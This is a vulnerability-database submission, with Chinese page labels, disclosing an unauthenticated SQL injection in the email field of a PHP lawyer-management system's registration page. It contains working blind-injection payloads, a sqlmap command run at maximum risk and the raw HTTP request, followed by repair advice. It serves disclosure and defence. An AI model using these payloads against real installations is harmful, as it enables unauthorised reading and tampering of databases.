提交 #579481: projectworlds Online Lawyer Management System Project Using PHP MYSQL V1.0 SQL Injection信息

标题projectworlds Online Lawyer Management System Project Using PHP MYSQL V1.0 SQL Injection
描述# DESCRIPTION - During the security review of "Online Lawyer Management System Project Using PHP MYSQL",I discovered a critical SQL injection vulnerability in the "/user_registation.php" file. This vulnerability stems from insufficient user input validation of the 'email' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: - 'email' parameter ## Payload: ```makefile Parameter: email (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: first_Name=1&last_Name=2&email=3' AND 3450=3450-- SfOs Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: first_Name=1&last_Name=2&email=3' AND (SELECT 5337 FROM (SELECT(SLEEP(5)))cCkq)-- fzzR ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash 《python sqlmap.py -r sqli.txt -p email --batch --dbms=mysql --level=3 --risk=3》 ``` <img width="803" alt="Image" src="https://github.com/hhhanxx/attack/blob/main/Snipaste_2025-05-17_01-40-56.png?raw=true" /> sqli.txt: ``` POST /user_registation.php HTTP/1.1 Host: 192.168.137.1:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: deviceid=1746200827980; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; PHPSESSID=vgtb36imolq7ir6oaiou5lclvp Upgrade-Insecure-Requests: 1 Priority: u=0, i Content-Type: application/x-www-form-urlencoded Content-Length: 32 first_Name=1&last_Name=2&email=3 ``` # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
来源⚠️ https://github.com/hhhanxx/attack/issues/11
用户
 attackxu (UID 84219)
提交2025-05-16 19時44分 (1 年前)
管理2025-05-18 08時40分 (2 days later)
状态已接受
VulDB条目309493 [projectworlds Online Lawyer Management System 1.0 /user_registation.php email SQL注入]
积分20

Do you want to use VulDB in your project?

Use the official API to access entries easily!